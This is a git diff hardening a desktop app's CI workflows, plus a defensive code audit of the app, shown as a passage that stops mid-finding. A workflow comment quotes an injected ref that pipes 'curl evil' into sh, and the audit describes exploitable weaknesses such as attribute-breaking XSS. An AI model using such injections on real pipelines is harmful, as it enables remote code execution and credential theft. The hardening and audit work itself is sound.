diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..ca79ca5b --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,6 @@ +version: 2 +updates: + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..94d0ebb4 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,44 @@ +name: CI + +on: + pull_request: + push: + branches: + - master + +permissions: + contents: read + +jobs: + build-and-test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 + with: + version: 9 + + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 + with: + node-version: 22 + cache: pnpm + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Type-check / build + run: pnpm build + + - name: Run unit tests + run: | + node --test \ + test/connection-validate.test.mjs \ + test/connection-preflight.test.mjs \ + test/connection-profiles.test.mjs \ + test/window-policy.test.mjs \ + test/navigation-gestures.test.mjs \ + test/local-server-lifecycle.test.mjs \ + test/local-server-health.test.mjs \ + test/runtime-safety.test.mjs \ + test/prepare-macos-release-assets.test.mjs diff --git a/.github/workflows/notarize-status.yml b/.github/workflows/notarize-status.yml index bd98ef01..97b5282a 100644 --- a/.github/workflows/notarize-status.yml +++ b/.github/workflows/notarize-status.yml @@ -53,6 +53,9 @@ jobs: env: APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }} APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }} + # Injection-safe: read dispatch inputs from env, not via ${{ }} in-shell. + INPUT_X64_SUBMISSION_ID: ${{ github.event.inputs.x64_submission_id }} + INPUT_ARM64_SUBMISSION_ID: ${{ github.event.inputs.arm64_submission_id }} run: | set -euo pipefail mkdir -p notarization-status @@ -67,8 +70,8 @@ jobs: --output-format json > "notarization-status/${label}.info.json" } - query_status "x64" "${{ github.event.inputs.x64_submission_id }}" - query_status "arm64" "${{ github.event.inputs.arm64_submission_id }}" + query_status "x64" "$INPUT_X64_SUBMISSION_ID" + query_status "arm64" "$INPUT_ARM64_SUBMISSION_ID" python - <<'PY' import json @@ -85,7 +88,7 @@ jobs: cat notarization-status/summary.md >> "$GITHUB_STEP_SUMMARY" - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: notarization-status path: notarization-status diff --git a/.github/workflows/notarize-submit.yml b/.github/workflows/notarize-submit.yml index 0696b07a..395e5c57 100644 --- a/.github/workflows/notarize-submit.yml +++ b/.github/workflows/notarize-submit.yml @@ -27,6 +27,10 @@ jobs: APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }} APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }} APPLE_API_KEY_P8: ${{ secrets.APPLE_API_KEY_P8 }} + # Injection-safe: read the dispatch input from env, never expand ${{ }} + # straight into the shell (a newline-bearing input could otherwise inject + # arbitrary vars into GITHUB_ENV for later steps holding notary creds). + INPUT_TAG: ${{ github.event.inputs.tag }} run: | set -euo pipefail umask 077 @@ -55,9 +59,14 @@ jobs: --issuer "$APPLE_API_ISSUER" \ >/dev/null + if ! printf '%s' "$INPUT_TAG" | grep -Eq '^v[0-9][0-9A-Za-z.+-]*$'; then + echo "::error::Invalid tag input: $INPUT_TAG" >&2 + exit 1 + fi + { echo "APPLE_API_KEY=$API_KEY_PATH" - echo "NOTARIZE_TAG=${{ github.event.inputs.tag }}" + echo "NOTARIZE_TAG=$INPUT_TAG" } >> "$GITHUB_ENV" - name: Download macOS release ZIP assets @@ -84,6 +93,11 @@ jobs: local zip_path="$2" local output_path="notarization-output/${label}.submit.json" + if [ ! -f "$zip_path" ]; then + echo "::error::Missing ${label} ZIP asset for notarization." >&2 + exit 1 + fi + xcrun notarytool submit "$zip_path" \ --key "$APPLE_API_KEY" \ --key-id "$APPLE_API_KEY_ID" \ @@ -92,8 +106,24 @@ jobs: --output-format json > "$output_path" } - submit_zip "x64" "$(find notarization-input -type f -name 'Paperclip-Desktop-*-mac.zip' ! -name '*arm64*' | head -n 1)" - submit_zip "arm64" "$(find notarization-input -type f -name 'Paperclip-Desktop-*-arm64-mac.zip' | head -n 1)" + x64_zips=() + while IFS= read -r zip_path; do + x64_zips+=("$zip_path") + done < <(find notarization-input -type f -name 'Paperclip-Desktop-*-mac.zip' ! -name '*arm64*' | sort) + + arm64_zips=() + while IFS= read -r zip_path; do + arm64_zips+=("$zip_path") + done < <(find notarization-input -type f -name 'Paperclip-Desktop-*-arm64-mac.zip' | sort) + if [ "${#x64_zips[@]}" -ne 1 ] || [ "${#arm64_zips[@]}" -ne 1 ]; then + echo "::error::Expected exactly one x64 and one arm64 mac ZIP for notarization." >&2 + printf 'x64 matches: %s\n' "${x64_zips[@]:-}" >&2 + printf 'arm64 matches: %s\n' "${arm64_zips[@]:-}" >&2 + exit 1 + fi + + submit_zip "x64" "${x64_zips[0]}" + submit_zip "arm64" "${arm64_zips[0]}" python - <<'PY' import json @@ -111,7 +141,7 @@ jobs: cat notarization-output/summary.md >> "$GITHUB_STEP_SUMMARY" - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: notarization-submissions-${{ github.event.inputs.tag }} path: notarization-output diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 6ad05e28..8ec40d84 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -19,7 +19,7 @@ on: - all permissions: - contents: write + contents: read concurrency: group: release-${{ github.workflow }}-${{ github.ref }} @@ -35,15 +35,15 @@ jobs: RELEASE_REF: ${{ github.event.inputs.ref || 'master' }} steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: ref: ${{ env.RELEASE_REF }} - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 with: version: 9 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 cache: pnpm @@ -100,7 +100,7 @@ jobs: - name: Prepare updater-compatible macOS release assets run: node scripts/prepare-macos-release-assets.mjs --input-root release/local-macos --output-dir release/mac-release-assets - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: release-mac path: release/mac-release-assets @@ -123,15 +123,15 @@ jobs: RELEASE_REF: ${{ github.event.inputs.ref || 'master' }} steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: ref: ${{ env.RELEASE_REF }} - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 with: version: 9 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 cache: pnpm @@ -142,7 +142,7 @@ jobs: - name: Build Linux distributables run: pnpm dist:linux - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: release-linux path: | @@ -160,15 +160,15 @@ jobs: RELEASE_REF: ${{ github.event.inputs.ref || 'master' }} steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: ref: ${{ env.RELEASE_REF }} - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 with: version: 9 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 cache: pnpm @@ -179,7 +179,7 @@ jobs: - name: Build Windows distributables run: pnpm dist:win - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: release-windows path: | @@ -201,15 +201,21 @@ jobs: - build-linux - build-windows runs-on: ubuntu-latest + permissions: + contents: write steps: - - uses: actions/download-artifact@v4 + - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: path: dist-artifacts - name: Create or update GitHub release env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Pass the dispatch input through env (injection-safe assignment) instead + # of expanding ${{ }} directly into the shell, where a crafted ref like + # 'v1"; curl evil | sh; echo "' would execute. + INPUT_REF: ${{ github.event.inputs.ref }} run: | set -euo pipefail mapfile -d '' files < <( @@ -230,7 +236,7 @@ jobs: exit 1 fi - tag="${{ github.event.inputs.ref }}" + tag="$INPUT_REF" tag="${tag#refs/tags/}" if gh release view "$tag" >/dev/null 2>&1; then diff --git a/docs/bugs/audit.md b/docs/bugs/audit.md new file mode 100644 index 00000000..11c886aa --- /dev/null +++ b/docs/bugs/audit.md @@ -0,0 +1,601 @@ +# Paperclip Desktop — Code Audit (living document) + +Started: 2026-06-11 · Auditor: Claude Code (defensive quality/security audit) +Codebase version: 3.2.9 (master, clean tree) + +## Scope & exclusions + +Audited: all first-party source under `src/`, `scripts/`, `test/`, `.github/workflows/`, +`electron-builder.yml`, `build/*.plist`, `package.json`/`tsconfig.json`. + +Excluded (with reason): +- `node_modules/`, `dist/`, `release/`, `build/server-bundle/`, `build/node-bin/` — third-party deps and build artifacts, not first-party source. +- `build/icon.png`, `build/icon.ico` — binary assets. +- `docs/` — prose, mockups, PRDs; read for context, not auditable code. +- `.claude/` — agent skill definitions, not shipped code. +- `pnpm-lock.yaml` — generated; reviewed only at the level of `pnpm.overrides` in package.json. +- `.github/workflows.disabled/` — disabled workflows, not executable; skimmed for dormant risk only. +- `LICENSE`, `README.md` — prose. + +## Scan log / coverage checklist + +Status: pending → in progress → done + +### Batch 1 — Electron main process & IPC surface +- [x] src/main.ts — done (findings PD-001…PD-008) +- [x] src/runtime-safety.ts — done (no findings; path env handling is defensive and sound) +- [x] src/navigation-gestures.ts — done (no findings; pure history navigation with capability checks) +- [x] src/preload.ts — done (no findings; minimal contextBridge surface — note PD-009) +- [x] src/splash-preload.ts — done (no findings; status-listener only) +- [x] src/launcher-preload.ts — done (no findings in the bridge itself; its capability surface is why PD-010 matters) + +### Batch 2 — Connection handling & updater +- [x] src/connection/types.ts — done (no findings; pure types/constants) +- [x] src/connection/validate.ts — done (PD-043, PD-044; core normalization sound — protocol allowlist, userinfo rejection, WHATWG normalization defeats IDN/decimal-IP tricks) +- [x] src/connection/preflight.ts — done (PD-040, PD-041, PD-049) +- [x] src/connection/profiles.ts — done (PD-042, PD-045, PD-046, PD-050, PD-051; field-by-field sanitization defeats prototype pollution) +- [x] src/connection/local-server-lifecycle.ts — done (no findings; note: PID-value equality has a theoretical reuse window — object-identity compare would be strictly safer) +- [x] src/connection/local-server-health.ts — done (shares PD-040's body-timeout gap, low risk against the locally spawned server) +- [x] src/connection/window-policy.ts — done (no findings — exact `.origin` equality, opaque origins fail closed; verified correct) +- [x] src/updater.ts — done (PD-047, PD-048; check/download promise concurrency handled correctly) + +### Batch 3 — Launcher UI +- [x] src/launcher-html.ts — done (findings PD-010…PD-014; full read lines 1–2218) + +### Batch 4 — Build & release scripts +- [x] scripts/prepare-server.mjs — done (PD-015, PD-016, PD-017, PD-023, PD-027) +- [x] scripts/build-ui.mjs — done (PD-018, PD-019, PD-023) +- [x] scripts/dev.mjs — done (no findings; spawn without shell, constant paths) +- [x] scripts/after-pack.mjs — done (PD-021, PD-023; fail-closed unsigned gate and correct inside-out signing order noted as positives) +- [x] scripts/after-sign.mjs — done (PD-022) +- [x] scripts/stage-after-pack.mjs — done (PD-021, PD-023) +- [x] scripts/release-macos-local.mjs — done (PD-020, PD-025, PD-026; mkdtemp staging avoids TOCTOU) +- [x] scripts/prepare-macos-release-assets.mjs — done (PD-028, PD-026) +- [x] scripts/publish-macos-release-assets.mjs — done (PD-029; gh via arg arrays, strong draft protections) +- [x] scripts/notarize-prebuilt-macos.mjs — done (PD-024, PD-026) +- [x] scripts/repackage-prebuilt-macos.mjs — done (PD-025) +- [x] scripts/smoke-test-packaged-macos.mjs — done (no security findings; nit: unvalidated `--timeout-ms` parseInt → NaN → immediate timeout) +- [x] scripts/verify-macos-release.mjs — done (PD-021, PD-024) + +### Batch 5 — CI, packaging config, tests +- [x] .github/workflows/release.yml — done (PD-030, PD-031, PD-034, PD-035, PD-036) +- [x] .github/workflows/notarize-submit.yml — done (PD-030 worst instance, PD-031, PD-037) +- [x] .github/workflows/notarize-status.yml — done (PD-030, PD-031) +- [x] electron-builder.yml — done (no findings; tight `files` glob, publish scoped to own repo; nit: duplicate `@aws-*` extraResources entries subsumed by the node_modules glob) +- [x] build/entitlements.mac.plist — done (PD-032) +- [x] build/entitlements.mac.inherit.plist — done (PD-032; tighter than electron-builder default — no dyld-env entitlement) +- [x] package.json (deps/overrides) — done (no findings; lodash 4.18.1 override verified legitimate — see "Ruled out") +- [x] tsconfig.json — done (PD-038) +- [x] test/connection-validate.test.mjs — done (no findings) +- [x] test/connection-preflight.test.mjs — done (PD-039: no 3xx-response case) +- [x] test/connection-profiles.test.mjs — done (no findings) +- [x] test/window-policy.test.mjs — done (PD-039: thinnest coverage on riskiest module) +- [x] test/navigation-gestures.test.mjs — done (no findings) +- [x] test/local-server-lifecycle.test.mjs — done (no findings) +- [x] test/local-server-health.test.mjs — done (no findings) +- [x] test/runtime-safety.test.mjs — done (no findings; best file in the suite) +- [x] test/prepare-macos-release-assets.test.mjs — done (PD-039: missing-arch case uncovered) + +### Also reviewed +- [x] .github/workflows.disabled/ — skimmed (dormant; PD-033) + +## Findings + +Method note: each batch was scanned by a dedicated review pass; every High/Critical +finding and each batch's key claims were then independently re-verified by reading +the cited lines directly before being recorded here. + +--- + +### Batch 1 — Electron main process & IPC + +#### PD-001 — No single-instance lock: a second app instance kills the first instance's live server +- **Severity:** High · **Confidence:** high (verified) +- **Where:** `src/main.ts:300-314` (`killOrphanedServer`), app startup (`app.whenReady`); no `requestSingleInstanceLock` anywhere in `src/` (grep-verified) +- **Problem:** On startup, `killOrphanedServer()` reads the shared PID file and `treeKill`s whatever PID it finds if alive. There is no `app.requestSingleInstanceLock()`. Launching the app a second time (`open -n`, Finder race, dev terminal) makes instance #2 SIGTERM instance #1's healthy server mid-use; the two instances then fight over the PID file and potentially the same Postgres data dir. +- **Fix:** + ```ts + if (!app.requestSingleInstanceLock()) { + app.quit(); + } else { + app.on("second-instance", () => { mainWindow?.show(); mainWindow?.focus(); }); + // existing whenReady flow; only treat the PID file as orphaned when the lock is held + } + ``` +- **How I found this:** While auditing `killOrphanedServer` for PID races, asked "what guarantees the PID is actually orphaned?" — nothing but liveness. Grepped all of `src/` for `requestSingleInstanceLock`/`second-instance` to rule out the lock living elsewhere (absent), and confirmed both instances compute the same `getPidFilePath()` (same userData dir). + +#### PD-002 — Stale-PID kill: PID file trusted blindly, can SIGTERM an unrelated process tree +- **Severity:** Medium · **Confidence:** high (verified) +- **Where:** `src/main.ts:300-314`, esp. 302–306 +- **Problem:** After a crash + reboot or PID rollover, the recorded PID can belong to an unrelated process. `process.kill(pid, 0)` only checks existence; then `treeKill(pid, "SIGTERM")` kills that process and all children. TOCTOU window between probe and kill; PID file content is trusted on-disk state (anything that writes to userData picks the victim); `parseInt("1234garbage")` → 1234 also passes. +- **Fix:** Persist `{pid, processStartTime, exePath}` and verify identity before killing (e.g. `ps -o lstart=,comm= -p ` matches the bundled node binary and recorded start time). Require `/^\d+$/.test(pidStr)`. +- **How I found this:** Direct read of `killOrphanedServer`; confirmed the only validation is parseInt + signal-0. Ruled out shell injection via tree-kill (pid passed as argv element, numeric). + +#### PD-003 — Port-selection TOCTOU + unauthenticated localhost trust: window can load a rogue local server +- **Severity:** Medium · **Confidence:** high (race verified; exploitation needs a local attacker) +- **Where:** `src/main.ts:146-164` (`isPortInUse`/`findFreePort`), `166-188` (`waitForPort`), `bootLocal` (~925–1031) +- **Problem:** (1) The free port is found by probing, then the server is spawned — another local process can bind it in between. (2) `waitForPort` only confirms *something* accepts TCP on 127.0.0.1:port, not that it's our child — if the server fails to bind, boot "succeeds" against a squatter. (3) The window then loads `http://localhost:{port}` with `preload.js` attached, non-sandboxed, and a persistent local partition (cookies/localStorage from real sessions readable by whatever is serving). No token/auth handshake exists anywhere. +- **Fix:** Authenticate the child: have the server emit a one-time token (env-provided, echoed on a health endpoint, or written 0600 to userData) and verify it before `loadURL`. Prefer reading the actually-bound port from the child's stdout over pre-selecting one. +- **How I found this:** Traced `findFreePort` → `startServer(PORT env)` → `waitForPort` → `loadURL`. Confirmed `waitForPort` (lines 176–179) resolves on bare TCP connect with zero identity check and that no token/auth exists for the loaded origin. + +#### PD-004 — Login-shell PATH probe executes shell rc files and trusts the resulting PATH +- **Severity:** Medium · **Confidence:** high (verified) +- **Where:** `src/main.ts:235-278` (`resolveShellPath`), result injected into the server child's `PATH` (335–341, 348–354) +- **Problem:** `execSync(\`${userShell} -lc 'echo $PATH'\`)` — `-l` sources `~/.zprofile`/`~/.zshrc` etc., so app launch executes arbitrary user shell startup code, and dotfile-level tampering steers which binaries the long-lived server (which spawns Postgres and tools) later resolves. `userShell` comes from `$SHELL` and is interpolated into a shell string (interpreter choice + quoting hazard), though no user *data* is interpolated. +- **Fix:** Use `spawnSync(userShell, ["-lc", "echo $PATH"])` (argv array, no interpolation), validate `$SHELL` against `/etc/shells`, and sanitize returned entries (drop relative and world-writable dirs) — or skip the login shell and rely on the existing `fallbackDirs` allowlist. +- **How I found this:** Flagged by the "shell PATH probing" risk lens; read `resolveShellPath`, confirmed `execSync` string interpolation of `$SHELL` and the flow of the result into the child env. Rated Medium (trust/rc-execution), not Critical, since no untrusted data is interpolated. + +#### PD-005 — `killServer()` has no timeout or SIGKILL escalation; quit can hang with the server orphaned +- **Severity:** Low · **Confidence:** medium (code verified; hang requires treeKill to stall) +- **Where:** `src/main.ts:369-386` (`killServer`), `before-quit` handler (~1593–1607) +- **Problem:** `killServer` resolves only in `treeKill`'s callback; the callback's error argument is ignored and there is no timeout. If a child ignores SIGTERM or treeKill errors, `before-quit` (which already `preventDefault()`ed) never reaches `app.quit()`, and the detached server survives as an orphan. +- **Fix:** Race against a timeout, escalate to `treeKill(pid, "SIGKILL")` after ~5s, check the callback error, and `app.exit(0)` if the graceful path stalls. +- **How I found this:** Followed the shutdown path from `before-quit` into `killServer`; noted the promise is gated entirely on the callback with the error arg discarded, and `detached: !isWindows` in `startServer` confirms orphan potential. + +#### PD-006 — Shutdown paths not idempotent: signal handlers and `before-quit` can both run `killServer()` +- **Severity:** Low · **Confidence:** medium +- **Where:** `src/main.ts` (~1593–1614) +- **Problem:** SIGTERM/SIGINT/SIGHUP handlers and `before-quit` each call `killServer()`. Today the second call is benign only because `serverProcess` is nulled early (line 379) — safe by accident, dependent on ordering. +- **Fix:** Single shared shutdown promise: first caller creates it, everyone else awaits it. +- **How I found this:** Read both shutdown registrations together and traced `isQuitting`/`serverProcess = null` timing. + +#### PD-007 — `bootLocal` reuse fast-path requires a live window; can double-spawn servers (possible) +- **Severity:** Low · **Confidence:** possible (needs runtime confirmation) +- **Where:** `src/main.ts` (~903–932) +- **Problem:** The "already local, just refocus" shortcut requires `mainWindow && !isDestroyed()`. With a live `serverProcess` but the window closed (macOS), `bootLocal` falls through and spawns a second server on a fresh port; during the boot window two Postgres-backed servers may run against the same `PAPERCLIP_HOME`. The supersede-kill lifecycle logic likely converges afterward, hence "possible". +- **Fix:** Short-circuit when `serverProcess` is alive and healthy regardless of window state; recreate the window via `reopenCurrentConnectionWindow` instead of re-spawning. +- **How I found this:** Traced `bootLocal` guards vs `startServer`; the existence of `reopenCurrentConnectionWindow` for exactly the window-gone case is the tell. To confirm: close the local window on macOS, retrigger `bootLocal`, watch for two server processes. + +#### PD-008 — `isPortInUse` has no connect timeout; a stalling port hangs `findFreePort` +- **Severity:** Low · **Confidence:** high (verified) +- **Where:** `src/main.ts:146-154` +- **Problem:** A port that accepts SYN but never completes the handshake leaves the promise pending forever; startup stalls with no error. +- **Fix:** `sock.setTimeout(500, () => { sock.destroy(); resolve(false); });` and `sock.destroy()` in the error handler. +- **How I found this:** Read the helper while assessing PD-003; no `setTimeout` present. + +#### PD-009 — `preload.ts` allows unbounded `onStatus` listener accumulation +- **Severity:** Low · **Confidence:** high +- **Where:** `src/preload.ts` (9 lines) +- **Problem:** Each `onStatus` call adds an `ipcRenderer.on` listener with no removal path — repeated registration leaks listeners. Not a security issue; the bridge surface itself is minimal and correct. +- **Fix:** Return an unsubscribe function (`ipcRenderer.removeListener`) or `removeAllListeners("update-status")` before re-adding. +- **How I found this:** Full read of the preload during the IPC-surface pass. + +--- + +### Batch 3 — Launcher UI (`src/launcher-html.ts`) + +#### PD-010 — Stale verification result can be applied to a different URL (verify-then-connect bypass) +- **Severity:** Medium · **Confidence:** high (verified) +- **Where:** `src/launcher-html.ts:1333-1370` (`verifyRemote`), 1372–1439 (`continueToSignIn`/`connectAndSave`), 2193–2197 (input listener) +- **Problem:** `verifyRemote()` sets the global `lastVerification = result` unconditionally after its `await` (line 1355), and its `finally` re-enables the Connect buttons whenever `lastVerification.ok`. The connect handlers read the URL fresh from the input but only gate on `lastVerification.ok` — never that it matches the current URL. Sequence: verify URL A (in flight) → edit field to URL B (reset runs, buttons disable) → A's result lands, re-enabling buttons → Connect now connects to B under A's verification, including A's `insecureTransport` decision (HTTP-ack bypass). +- **Fix:** Token-guard in-flight verifies and record the verified URL: + ```js + let verifyToken = 0; + async function verifyRemote() { + const remoteUrl = ...; const token = ++verifyToken; + ... + const result = await launcher.verifyRemote({ remoteUrl }); + if (token !== verifyToken) return; // superseded by an edit/new verify + result.verifiedUrl = remoteUrl; + lastVerification = result; + ... + } + // in connect handlers: + if (!lastVerification?.ok || lastVerification.verifiedUrl !== remoteUrl) { /* require re-verify */ } + ``` +- **How I found this:** Traced every consumer of `lastVerification`; noticed the post-`await` assignment with no staleness guard while the input listener (the only thing nulling it) runs synchronously at edit time, so an in-flight result clobbers the reset. Confirmed the main process trusts the renderer's verify-gate/insecure-ack decision. + +#### PD-011 — Profile `id` interpolated into `onclick` attributes with JS-string escaping only (stored-XSS shape) +- **Severity:** Low · **Confidence:** high (code verified; exploitation requires a tampered on-disk profile store) +- **Where:** `src/launcher-html.ts:1258, 1265` (`renderTabRemoteList`), ~1552–1560 (`renderConnections`); helper `escapeJsSingleQuote` 1963–1965; origin `src/connection/profiles.ts:318` (`id: raw.id` — no UUID-shape validation) +- **Problem:** `onclick="quickConnect('" + escapeJsSingleQuote(p.id) + "')"` — the helper escapes only `\` and `'`, but the value sits inside a double-quoted HTML attribute subject to entity decoding. A `"` in `p.id` breaks out of the attribute and injects arbitrary handlers — script execution in the launcher window, which holds the full `paperclipLauncher` IPC capability surface. Ids are normally `randomUUID()`, but the disk-load sanitizer passes any string through, and the profile store JSON is exactly the "loaded from disk" untrusted surface. +- **Fix:** Stop using inline handlers — `dataset.id` + `addEventListener` (id never enters HTML parsing). Minimal: `escapeHtml(escapeJsSingleQuote(p.id))` at every attribute site. Defense-in-depth: validate `raw.id` against a UUID regex in `sanitizeRemoteProfile` (drop/regenerate otherwise) and add a strict CSP `` to the launcher HTML (`default-src 'none'; script-src 'self'; style-src 'unsafe-inline'`-equivalent as needed). +- **How I found this:** Classified every `innerHTML` interpolation as escaped/raw; `p.id` was the only attacker-influenceable value escaped solely by `escapeJsSingleQuote` (read the helper — no `"`/`&`/`<` handling). Traced `id` to `profiles.ts` and confirmed no format check on load. Confirmed `name`/`remoteUrl` are safe (escapeHtml in text position or `textContent` only). + +#### PD-012 — Unescaped class-name interpolation in `innerHTML` (currently safe; latent) +- **Severity:** Low · **Confidence:** high (currently safe — defensive) +- **Where:** `src/launcher-html.ts:1264, 1308, ~1567` (`statusClass(p)`, `mapped.badgeClass`) +- **Problem:** Values injected into `class="..."` without escaping. Both currently come from closed switch/map literals so are not attacker-controlled — but there is no escaping in the way if either ever returns a server-derived string. +- **Fix:** Wrap in `escapeHtml(...)` or build elements and use `classList`. +- **How I found this:** Same sink classification pass; followed both producers to their definitions to confirm closed value sets. + +#### PD-013 — Click-handler functions dereference `snapshot` without null guards +- **Severity:** Low · **Confidence:** medium +- **Where:** `src/launcher-html.ts:1585` (`openEditModal`), 1643 (`deleteConn`), 1677 (`quickConnect`) +- **Problem:** `snapshot.profiles.find(...)` with no null check. Normally invoked only after a snapshot rendered, but a main-process `launcher:navigate` arriving before `bootstrap()` completes would throw `Cannot read properties of null`. +- **Fix:** `if (!snapshot) return;` at the top of each (and `duplicateConn`). +- **How I found this:** Searched every `snapshot.` dereference for a preceding guard; the render functions guard, the click handlers don't. Medium confidence because a pre-bootstrap navigate couldn't be proven from this file alone. + +#### PD-014 — No double-submit guard on connect actions +- **Severity:** Low · **Confidence:** medium +- **Where:** `src/launcher-html.ts:1270-1277` (`launchLocal`), 1372–1439, 1676–1706 (`quickConnect`) +- **Problem:** Connect paths fire IPC without disabling their trigger or setting an in-progress flag before the first `await`; rapid double-clicks/Enter repeats double-fire (duplicate connect attempts / profile saves). The verify button does this correctly via `syncRemoteActionButtons(true)` — the connect paths lack the equivalent. +- **Fix:** Module-level `let connecting = false;` set before the first await; short-circuit re-entry; reset on error/navigation. +- **How I found this:** Reviewed each `launcher.connect*` call site for re-entry protection, using the verify button's existing guard as the expected pattern. + +--- + +### Batch 4 — Build & release scripts (supply chain) + +#### PD-015 — Bundled Node.js binary downloaded with no checksum/signature verification +- **Severity:** High · **Confidence:** high (verified) +- **Where:** `scripts/prepare-server.mjs:246-268` (esp. 254, 256) +- **Problem:** The Node runtime that ships inside every release is fetched with `curl -fsSL` / `Invoke-WebRequest` from nodejs.org and used as-is. No verification against the GPG-signed `SHASUMS256.txt`. HTTPS protects transit, but CDN compromise, a corporate MITM root CA, or content substitution flows straight into the signed, notarized app. +- **Fix:** Pin per-platform SHA-256s next to `NODE_VERSION` and verify before extraction: + ```js + const actual = createHash("sha256").update(readFileSync(archivePath)).digest("hex"); + if (actual !== NODE_SHA256[`${nodeDownloadPlatform}-${arch}`]) throw new Error(`Node archive checksum mismatch: ${actual}`); + ``` +- **How I found this:** Download-integrity lens on the download block; confirmed HTTPS, then searched the file for any `sha`/`checksum`/`gpg`/size validation after the curl — none; archive is extracted and deleted unverified. + +#### PD-016 — Node binary cache key omits the version: bumping `NODE_VERSION` silently ships the old Node +- **Severity:** High · **Confidence:** high (verified) +- **Where:** `scripts/prepare-server.mjs:236-242` +- **Problem:** Cache path is `build/node-bin/-/node` (no version) and the skip check is bare `existsSync(destBin)`. Bumping `NODE_VERSION` (e.g. for a security patch) keeps shipping the old binary while logging "Node v22.15.0 … already downloaded". Also compounds PD-015: a tampered binary placed once is reused forever. +- **Fix:** Version the cache dir (`build/node-bin/${NODE_VERSION}/…`) or verify the cached binary (`node --version` match, with a checksum-marker fallback for cross-arch), deleting on mismatch. +- **How I found this:** Traced what the cache key consists of — `NODE_VERSION` appears only in the URL and log strings; confirmed nothing cleans `build/node-bin` on version change. + +#### PD-017 — Shipped server bundle installed with no lockfile and lifecycle scripts enabled +- **Severity:** High · **Confidence:** high (verified) +- **Where:** `scripts/prepare-server.mjs:166-195` +- **Problem:** The install whose output ships in the app runs `npm install --production` in a freshly synthesized staging dir: (a) no lockfile/`npm ci` — the entire transitive tree resolves to "latest matching at build time", so identical desktop versions can ship different trees and a freshly-poisoned transitive release is picked up with zero review; (b) no `--ignore-scripts` — every postinstall in the tree executes on the build machine *and* its output ships. The repo already uses `--ignore-scripts` in `release-macos-local.mjs:407` — the protection exists, just not at the most critical install. +- **Fix:** Commit a reviewed staging lockfile per server version (`npm install --package-lock-only` once), install with `npm ci --omit=dev --ignore-scripts`, then explicitly rebuild the few packages that genuinely need scripts (`npm rebuild ` allowlist — likely `@embedded-postgres`/`esbuild` platform packages). +- **How I found this:** Compared flags across all npm-install sites in the 13 scripts; this one writes its package.json from scratch each run (provably never a lockfile) and lacks `--ignore-scripts`. Confirmed the output ships by following `bundleServerDir` into the staged release flow. + +#### PD-018 — Shipped UI built from a mutable upstream git tag with no commit pinning +- **Severity:** High · **Confidence:** high (verified) +- **Where:** `scripts/build-ui.mjs:96-130` (clone at 107–110, `pnpm install` 127, build 130) +- **Problem:** The UI ships from a clone of `paperclipai/paperclip` at tag `v${serverVersion}`. Tags are mutable: a force-moved tag (upstream account/token compromise) is silently built and shipped — and its lifecycle scripts/build tooling execute on the machine holding your signing credentials. No `rev-parse HEAD` check exists. `--frozen-lockfile` only pins deps relative to the attacker-controlled clone. +- **Fix:** Record the expected commit SHA alongside the server version (package.json field or small manifest, updated as one reviewed diff per bump) and verify after clone: + ```js + const head = execFileSync("git", ["rev-parse", "HEAD"], { cwd: cloneDir, encoding: "utf8" }).trim(); + if (head !== EXPECTED_UPSTREAM_COMMIT) throw new Error(`Upstream tag resolved to unexpected commit ${head}`); + ``` +- **How I found this:** Git-integrity lens on the clone loop; the only post-clone check is "did the clone succeed". Confirmed `ui/dist` is copied into all server bundles. + +#### PD-019 — Future `@paperclipai/ui` npm publication silently switches the shipped-UI source +- **Severity:** Medium · **Confidence:** medium +- **Where:** `scripts/build-ui.mjs:58-92` +- **Problem:** By design, the moment any `@paperclipai/ui@` exists on npm, builds silently stop using the audited clone-and-build path and ship the npm tarball's `dist/` (`process.exit(0)` at line 84 makes the substitution total) — no provenance check, no 